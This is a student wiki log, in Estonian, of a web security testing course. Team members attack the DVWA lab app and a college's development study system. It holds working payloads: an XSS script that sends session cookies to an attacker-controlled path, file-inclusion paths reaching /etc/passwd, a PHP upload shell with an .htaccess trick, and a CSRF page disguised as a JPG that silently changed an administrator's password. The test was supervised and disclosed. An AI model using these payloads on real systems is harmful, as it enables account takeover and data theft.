Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
